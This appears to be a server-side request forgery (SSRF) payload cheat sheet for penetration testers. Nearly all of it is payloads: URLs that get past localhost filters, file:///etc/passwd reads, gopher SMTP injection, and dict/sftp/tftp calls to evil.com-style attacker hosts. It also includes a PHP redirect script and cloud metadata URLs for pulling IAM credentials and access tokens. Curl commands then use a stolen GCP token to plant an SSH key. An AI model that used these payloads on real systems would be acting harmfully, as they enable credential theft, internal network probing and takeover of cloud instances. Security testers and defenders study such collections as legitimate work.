22 KiB
Server-Side Request Forgery
Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.
Summary
- Tools
- Payloads with localhost
- Bypassing filters
- Bypass using HTTPS
- Bypass localhost with [::]
- Bypass localhost with a domain redirection
- Bypass localhost with CIDR
- Bypass using a decimal IP location
- Bypass using IPv6/IPv4 Address Embedding
- Bypass using malformed urls
- Bypass using rare address
- Bypass using bash variables
- Bypass using tricks combination
- Bypass using enclosed alphanumerics
- Bypass filter_var() php function
- Bypass against a weak parser
- SSRF exploitation via URL Scheme
- SSRF to XSS
- SSRF URL for Cloud Instances
- SSRF URL for AWS Bucket
- SSRF URL for AWS Elastic Beanstalk
- SSRF URL for AWS Lambda
- SSRF URL for Google Cloud
- SSRF URL for Digital Ocean
- SSRF URL for Packetcloud
- SSRF URL for Azure
- SSRF URL for OpenStack/RackSpace
- SSRF URL for HP Helion
- SSRF URL for Oracle Cloud
- SSRF URL for Kubernetes ETCD
- SSRF URL for Alibaba
- SSRF URL for Docker
- SSRF URL for Rancher
Tools
- SSRFmap - https://github.com/swisskyrepo/SSRFmap
- Gopherus - https://github.com/tarunkant/Gopherus
- See-SURF - https://github.com/In3tinct/See-SURF
Payloads with localhost
Basic SSRF v1
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
Basic SSRF - Alternative version
http://localhost:80
http://localhost:443
http://localhost:22
Advanced exploit using a redirection
1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:ssrf.example.com
2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
Advanced exploit using type=url
Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF
Bypassing filters
Bypass using HTTPS
https://127.0.0.1/
https://localhost/
Bypass localhost with [::]
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid
Bypass localhost with a domain redirection
http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost
The service nip.io is awesome for that, it will convert any ip address as a dns.
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
Bypass localhost with CIDR
It's a /8
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
Bypass using a decimal IP location
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
Bypass using IPv6/IPv4 Address Embedding
http://[0:0:0:0:0:ffff:127.0.0.1]
Bypass using malformed urls
localhost:+11211aaa
localhost:00011211aaaa
Bypass using rare address
You can short-hand IP addresses by dropping the zeros
http://0/
http://127.1
http://127.0.1
Bypass using bash variables
(curl only)
curl -v "http://evil$google.com"
$google = ""
Bypass using tricks combination
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
Bypass using enclosed alphanumerics
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
Bypass filter_var() php function
0://evil.com:80;http://google.com:80/
Bypass against a weak parser
by Orange Tsai (Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
SSRF exploitation via URL Scheme
File
Allows an attacker to fetch the content of a file on the server
file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
ssrf.php?url=file:///etc/passwd
HTTP
Allows an attacker to fetch any content from the web, it can also be used to scan ports.
ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443
The following URL scheme can be used to probe the network
Dict
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
SFTP
A network protocol used for secure file transfer over secure shell
ssrf.php?url=sftp://evil.com:11111/
TFTP
Trivial File Transfer Protocol, works over UDP
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
LDAP
Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH
You didn't say the magic word !
.
QUIT
Gopher HTTP
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
Gopher SMTP - Back connect to 1337
Content of evil.com/redirect.php:
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>
Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher SMTP - send a mail
Content of evil.com/redirect.php:
<?php
$commands = array(
'HELO victim.com',
'MAIL FROM: <admin@victim.com>',
'RCPT To: <sxcurity@oou.us>',
'DATA',
'Subject: @sxcurity!',
'Corben was here, woot woot!',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://0:25/_'.$payload);
?>
SSRF to XSS
by @D0rkerDevil & @alyssa.o.herrera
http://brutelogic.com.br/poc.svg -> simple alert
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg
SSRF URL for Cloud Instances
SSRF URL for AWS Bucket
Docs
Interesting path to look for at http://169.254.169.254
Always here : /latest/meta-data/{hostname,public-ipv4,...}
User data (startup script for auto-scaling) : /latest/user-data
Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
DNS record
http://169.254.169.254
http://metadata.nicob.net/
http://169.254.169.254.xip.io/
http://1ynrnhl.xip.io/
http://www.owasp.org.1ynrnhl.xip.io/
HTTP redirect
Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
Alternate IP encoding
http://425.510.425.510/ Dotted decimal with overflow
http://2852039166/ Dotless decimal
http://7147006462/ Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
http://0xA9FEA9FE/ Dotless hexadecimal
http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
http://0251.0376.0251.0376/ Dotted octal
http://0251.00376.000251.0000376/ Dotted octal with padding
More urls to include
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document
E.g: Jira SSRF leading to AWS info disclosure - https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance
E.g2: Flaws challenge - http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
SSRF URL for AWS Elastic Beanstalk
We retrieve the accountId
and region
from the API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
We then retrieve the AccessKeyId
, SecretAccessKey
, and Token
from the API.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Then we use the credentials with aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/
.
SSRF URL for AWS Lambda
AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.
http://localhost:9001/2018-06-01/runtime/invocation/next
$ curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"
Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next
SSRF URL for Google Cloud
⚠️ Google is shutting down support for usage of the v1 metadata service on January 15.
Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
Google allows recursive pulls
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Interesting files to pull out:
- SSH Public Key :
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
- Get Access Token :
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
- Kubernetes Key :
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json
Add an SSH key
Extract the token
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Check the scope of the token
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
{
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
Now push the SSH key.
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
SSRF URL for Digital Ocean
Documentation available at https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
All in one request:
curl http://169.254.169.254/metadata/v1.json | jq
SSRF URL for Packetcloud
Documentation available at https://metadata.packet.net/userdata
SSRF URL for Azure
Limited, maybe more exists? https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/
http://169.254.169.254/metadata/v1/maintenance
Update Apr 2017, Azure has more support; requires the header "Metadata: true" https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
SSRF URL for OpenStack/RackSpace
(header required? unknown)
http://169.254.169.254/openstack
SSRF URL for HP Helion
(header required? unknown)
http://169.254.169.254/2009-04-04/meta-data/
SSRF URL for Oracle Cloud
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
SSRF URL for Alibaba
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
SSRF URL for Kubernetes ETCD
Can contain API keys and internal ip and ports
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
SSRF URL for Docker
http://127.0.0.1:2375/v1.24/containers/json
Simple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
SSRF URL for Rancher
curl http://rancher-metadata/<version>/<path>
More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/
References
- Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - 2017-12-13
- ESEA Server-Side Request Forgery and Querying AWS Meta Data by Brett Buerhaus
- SSRF and local file read in video to gif converter
- SSRF in https://imgur.com/vidgif/url
- SSRF in proxy.duckduckgo.com
- Blind SSRF on errors.hackerone.net
- SSRF on *shopifycloud.com
- Hackerone - How To: Server-Side Request Forgery (SSRF)
- Awesome URL abuse for SSRF by @orange_8361 #BHUSA
- How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai
- #HITBGSEC 2017 SG Conf D1 - A New Era Of SSRF - Exploiting Url Parsers - Orange Tsai
- SSRF Tips - xl7dev
- SSRF in https://imgur.com/vidgif/url
- Les Server Side Request Forgery : Comment contourner un pare-feu - @Geluchat
- AppSecEU15 Server side browsing considered harmful - @Agarri
- Enclosed alphanumerics - @EdOverflow
- Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity
- PHP SSRF @secjuice
- How I convert SSRF to xss in a ssrf vulnerable Jira
- Piercing the Veil: Server Side Request Forgery to NIPRNet access
- Hacker101 SSRF
- SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例
- SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 - SaN ThosH - 10 Jan 2019
- SSRF Protocol Smuggling in Plaintext Credential Handlers : LDAP - @0xrst
- X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG @quanyang
- Exploiting SSRF in AWS Elastic Beanstalk - February 1, 2019 - @notsosecure
- PortSwigger - Web Security Academy Server-side request forgery (SSRF)
- SVG SSRF Cheatsheet - Allan Wirth (@allanlw) - 12/06/2019
- SSRF’s up! Real World Server-Side Request Forgery (SSRF) - shorebreaksecurity - 2019